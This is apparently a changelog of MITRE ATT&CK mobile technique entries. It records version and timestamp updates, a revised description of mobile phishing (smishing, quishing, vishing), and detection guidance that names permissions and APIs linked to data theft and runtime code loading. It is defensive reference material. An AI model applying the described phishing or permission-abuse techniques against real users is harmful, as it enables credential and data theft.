| external_references[2] | {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'} | {'source_name': 'SahinSRLabs_FluBot_Dec2021', 'description': 'Şahin, Erdoğan Yağız. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.', 'url': 'https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data'} |
| external_references[1] | {'source_name': 'Skycure-Accessibility', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'url': 'https://www.skycure.com/blog/accessibility-clickjacking/'} | {'source_name': 'Google_AndroidAcsOverview', 'description': 'Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.', 'url': 'https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Liran Ravich, CardinalOps |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'} | |
| kill_chain_phases | {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'} | |
| external_references | {'source_name': 'banking-trojans-google-play', 'description': 'Lukáš Štefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:56.195000+00:00 | 2025-05-19 15:21:04.030000+00:00 |
| x_mitre_detection | Unexpected loss of radio signal could indicate that a device is being actively jammed. | |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send malicious content to users in order to | t | 1 | Adversaries may send malicious content to users in order to |
| > | gain access to their mobile devices. All forms of phishing a | > | gain access to their mobile devices. All forms of phishing a | ||
| > | re electronically delivered social engineering. Adversaries | > | re electronically delivered social engineering. Adversaries | ||
| > | can conduct both non-targeted phishing, such as in mass malw | > | can conduct both non-targeted phishing, such as in mass malw | ||
| > | are spam campaigns, as well as more targeted phishing tailor | > | are spam campaigns, as well as more targeted phishing tailor | ||
| > | ed for a specific individual, company, or industry, known as | > | ed for a specific individual, company, or industry, known as | ||
| > | “spearphishing”. Phishing often involves social engineerin | > | “spearphishing.” Phishing often involves social engineering | ||
| > | g techniques, such as posing as a trusted source, as well as | > | techniques, such as posing as a trusted source, as well as | ||
| > | evasion techniques, such as removing or manipulating emails | > | evasion techniques, such as removing or manipulating emails | ||
| > | or metadata/headers from compromised accounts being abused | > | or metadata/headers from compromised accounts being abused t | ||
| > | to send messages. Mobile phishing may take various forms. F | > | o send messages. Mobile phishing may take various forms. Fo | ||
| > | or example, adversaries may send emails containing malicious | > | r example, adversaries may send emails containing malicious | ||
| > | attachments or links, typically to deliver and then execute | > | attachments or links, typically to deliver and then execute | ||
| > | malicious code on victim devices. Phishing may also be cond | > | malicious code on victim devices. Phishing may also be condu | ||
| > | ucted via third-party services, like social media platforms. | > | cted via third-party services, like social media platforms. | ||
| > | Mobile devices are a particularly attractive target for | > | Adversaries may also impersonate executives of organizations | ||
| > | adversaries executing phishing campaigns. Due to their smal | > | to persuade victims into performing some action on their be | ||
| > | ler form factor than traditional desktop endpoints, users ma | > | half. For example, adversaries will often use social enginee | ||
| > | y not be able to notice minor differences between genuine an | > | ring techniques in text messages to trick the victims into a | ||
| > | d phishing websites. Further, mobile devices have additional | > | cting quickly, which leads to adversaries obtaining credenti | ||
| > | sensors and radios that allow adversaries to execute phishi | > | als and other information. Mobile devices are a particular | ||
| > | ng attempts over several different vectors, such as: - SMS | > | ly attractive target for adversaries executing phishing camp | ||
| > | messages: Adversaries may send SMS messages (known as “smis | > | aigns. Due to their smaller form factor than traditional de | ||
| > | hing”) from compromised devices to potential targets to conv | > | sktop endpoints, users may not be able to notice minor diffe | ||
| > | ince the target to, for example, install malware, navigate t | > | rences between genuine and phishing websites. Further, mobil | ||
| > | o a specific website, or enable certain insecure configurati | > | e devices have additional sensors and radios that allow adve | ||
| > | ons on their device. - Quick Response (QR) Codes: Adversarie | > | rsaries to execute phishing attempts over several different | ||
| > | s may use QR codes (known as “quishing”) to redirect users t | > | vectors, such as: - SMS messages: Adversaries may send SMS | ||
| > | o a phishing website. For example, an adversary could replac | > | messages (known as “smishing”) from compromised devices to | ||
| > | e a legitimate public QR Code with one that leads to a diffe | > | potential targets to convince the target to, for example, in | ||
| > | rent destination, such as a phishing website. A malicious QR | > | stall malware, navigate to a specific website, or enable cer | ||
| > | code could also be delivered via other means, such as SMS o | > | tain insecure configurations on their device. - Quick Respon | ||
| > | r email. In the latter case, an adversary could utilize a ma | > | se (QR) Codes: Adversaries may use QR codes (known as “quish | ||
| > | licious QR code in an email to pivot from the user’s desktop | > | ing”) to redirect users to a phishing website. For example, | ||
| > | computer to their mobile device. - Phone Calls: Adversaries | > | an adversary could replace a legitimate public QR Code with | ||
| > | may call victims (known as “vishing”) to persuade them to p | > | one that leads to a different destination, such as a phishin | ||
| > | erform an action, such as providing login credentials or nav | > | g website. A malicious QR code could also be delivered via o | ||
| > | igating to a malicious website. This could also be used as a | > | ther means, such as SMS or email. In the latter case, an adv | ||
| > | technique to perform the initial access on a mobile device, | > | ersary could utilize a malicious QR code in an email to pivo | ||
| > | but then pivot to a computer/other network by having the vi | > | t from the user’s desktop computer to their mobile device. - | ||
| > | ctim perform an action on a desktop computer. | > | Phone Calls: Adversaries may call victims (known as “vishin | ||
| > | g”) to persuade them to perform an action, such as providing | ||||
| > | login credentials or navigating to a malicious website. Thi | ||||
| > | s could also be used as a technique to perform the initial a | ||||
| > | ccess on a mobile device, but then pivot to a computer/other | ||||
| > | network by having the victim perform an action on a desktop | ||||
| > | computer. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-09-29 19:45:39.608000+00:00 | 2025-08-20 14:33:34.968000+00:00 |
| description | Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages. + +Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. + +Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: + +- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device. +- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. +- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer. + | Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages. + +Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. + +Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: + +- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device. +- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. +- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer. + |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Lookout |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:43.814000+00:00 | 2025-10-24 17:48:21.493000+00:00 |
| x_mitre_detection | When an application requests administrator permission, users are presented with a popup and the option to grant or deny the request. Application vetting services can detect when an application requests administrator permission. Extra scrutiny could be applied to applications that do |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:48.448000+00:00 | 2025-10-24 17:48:40.140000+00:00 |
| x_mitre_detection | Application vetting services can look for applications requesting the `BIND_NOTIFICATION_LISTENER_SERVICE` permission in a service declaration. Users can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.695000+00:00 | 2025-10-24 17:49:31.052000+00:00 |
| x_mitre_detection | Application vetting services could closely scrutinize applications that request Device Administrator permissions. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-02-07 18:10:46.887000+00:00 | 2025-10-24 17:48:21.401000+00:00 |
| x_mitre_detection | Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. + + + +On both Android and iOS, users must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. Users can see registered VPN services in the device settings. |
Current version: 1.2
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:50.479000+00:00 | 2025-10-24 17:48:54.576000+00:00 |
| x_mitre_detection | Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 2.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.990000+00:00 | 2025-10-24 17:49:31.761000+00:00 |
| x_mitre_detection | Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:44.987000+00:00 | 2025-10-24 17:48:26.898000+00:00 |
| x_mitre_detection | Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user. |
Current version: 3.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:49.937000+00:00 | 2025-10-24 17:48:52.833000+00:00 |
| x_mitre_detection | In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware) + + +In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) + + +Android applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized. + + + +In both Android (6.0 and up) and iOS, users can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:51.825000+00:00 | 2025-10-24 17:49:06.929000+00:00 |
| x_mitre_detection | Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:48.836000+00:00 | 2025-10-24 17:48:43.758000+00:00 |
| x_mitre_detection | On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:48.286000+00:00 | 2025-10-24 17:48:39.155000+00:00 |
| x_mitre_detection | Application vetting services can detect which broadcast intents an application registers for and which permissions it requests. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:53.420000+00:00 | 2025-10-24 17:49:12.650000+00:00 |
| x_mitre_detection | On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary. Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application’s manifest, or `NSCalendarsUsageDescription` in an iOS application’s `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.962000+00:00 | 2025-10-24 17:48:38.183000+00:00 |
| x_mitre_detection | Users can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:45.503000+00:00 | 2025-10-24 17:48:29.311000+00:00 |
| x_mitre_detection | On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. |
Current version: 3.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-12 15:17:00.569000+00:00 | 2025-10-24 17:49:21.369000+00:00 |
| x_mitre_detection | Application vetting services could detect usage of standard clipboard APIs. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:59.231000+00:00 | 2025-10-24 17:49:39.422000+00:00 |
| x_mitre_detection | On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. + +On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:46.879000+00:00 | 2025-10-24 17:48:33.677000+00:00 |
| x_mitre_detection | Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. + +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:40.355000+00:00 | 2025-10-24 17:49:26.629000+00:00 |
| x_mitre_detection | This behavior is seamless to the user and is typically undetectable. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:49.029000+00:00 | 2025-10-24 17:48:45.611000+00:00 |
| x_mitre_detection | Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. Application vetting services could detect applications trying to modify files in protected parts of the operating system. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:54.553000+00:00 | 2025-10-24 17:49:19.406000+00:00 |
| x_mitre_detection | Integrity checking mechanisms can potentially detect unauthorized hardware modifications. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 13:32:52.030000+00:00 | 2025-10-24 17:48:58.857000+00:00 |
| x_mitre_detection | Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:52.139000+00:00 | 2025-10-24 17:49:07.487000+00:00 |
| x_mitre_detection | Application vetting services can detect malicious code in applications. System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.342000+00:00 | 2025-10-24 17:49:30.430000+00:00 |
| x_mitre_detection | On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application’s manifest, or `NSContactsUsageDescription` in an iOS application’s `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:55.358000+00:00 | 2025-10-24 17:49:23.749000+00:00 |
| x_mitre_detection | Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations. |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.034000+00:00 | 2025-10-24 17:49:28.514000+00:00 |
| x_mitre_detection | Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:54.742000+00:00 | 2025-10-24 17:49:21.564000+00:00 |
| x_mitre_detection | Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.505000+00:00 | 2025-10-24 17:49:30.706000+00:00 |
| x_mitre_detection | Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:52.296000+00:00 | 2025-10-24 17:49:07.948000+00:00 |
| x_mitre_detection | Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:52.648000+00:00 | 2025-10-24 17:49:08.587000+00:00 |
| x_mitre_detection | Users are prompted for approval when an application requests device administrator permissions. Users can see which applications are registered as device administrators in the device settings. Application vetting services can check for the string `BIND_DEVICE_ADMIN` in the application’s manifest. This indicates it can prompt the user for device administrator permissions. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:53.782000+00:00 | 2025-10-24 17:49:13.285000+00:00 |
| x_mitre_detection | Users can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.026000+00:00 | 2025-10-24 17:48:33.763000+00:00 |
| x_mitre_detection | Users can view a list of active device administrators in the device settings. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:53.262000+00:00 | 2025-10-24 17:49:12.130000+00:00 |
| x_mitre_detection | Mobile security products can use attestation to detect compromised devices. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:59.384000+00:00 | 2025-10-24 17:49:39.530000+00:00 |
| x_mitre_detection | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:50.660000+00:00 | 2025-10-24 17:48:55.445000+00:00 |
| x_mitre_detection | Existing network infrastructure may detect network calls to known malicious domains or the transfer of malicious payloads over the network. Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities). Unfortunately, this is only a partial mitigation, as additional scrutiny would still need to be applied to applications that use these techniques. These techniques are often used without malicious intent, and applications may employ other techniques to hide their use of these techniques. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:59.531000+00:00 | 2025-10-24 17:49:39.614000+00:00 |
| x_mitre_detection | Mobile security products can often alert the user if their device is vulnerable to known exploits. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.329000+00:00 | 2025-10-24 17:48:34.706000+00:00 |
| x_mitre_detection | Detecting dynamically generated domains can be challenging due to the number of different Domain Generation Algorithms (DGAs), constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names or rarely visited domains. |
Current version: 2.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:58.602000+00:00 | 2025-10-24 17:49:34.332000+00:00 |
| x_mitre_detection | Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:58.297000+00:00 | 2025-10-24 17:49:33.803000+00:00 |
| x_mitre_detection | On Android, users can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:56.521000+00:00 | 2025-10-24 17:49:26.888000+00:00 |
| x_mitre_detection | Application vetting services can detect which broadcast intents an application registers for and which permissions it requests. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 18:31:54.804000+00:00 | 2025-10-24 17:48:44.210000+00:00 |
| x_mitre_detection | Detecting the use of guardrails may be difficult depending on the implementation. Users can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. Application vetting services can detect unnecessary and potentially permissions or API calls. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:48.656000+00:00 | 2025-10-24 17:48:41.491000+00:00 |
| x_mitre_detection | [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.650000+00:00 | 2025-10-24 17:48:36.720000+00:00 |
| x_mitre_detection | [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:48.130000+00:00 | 2025-10-24 17:48:38.977000+00:00 |
| x_mitre_detection | [Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.809000+00:00 | 2025-10-24 17:48:38.088000+00:00 |
| x_mitre_detection | Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:46.157000+00:00 | 2025-10-24 17:48:31.144000+00:00 |
| x_mitre_detection | Detecting software exploitation initiated by a mobile device may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. + +Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. + +Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:53.593000+00:00 | 2025-10-24 17:49:12.849000+00:00 |
| x_mitre_detection | Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Application vetting services could be extra scrutinous of applications that request device administrator permissions. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
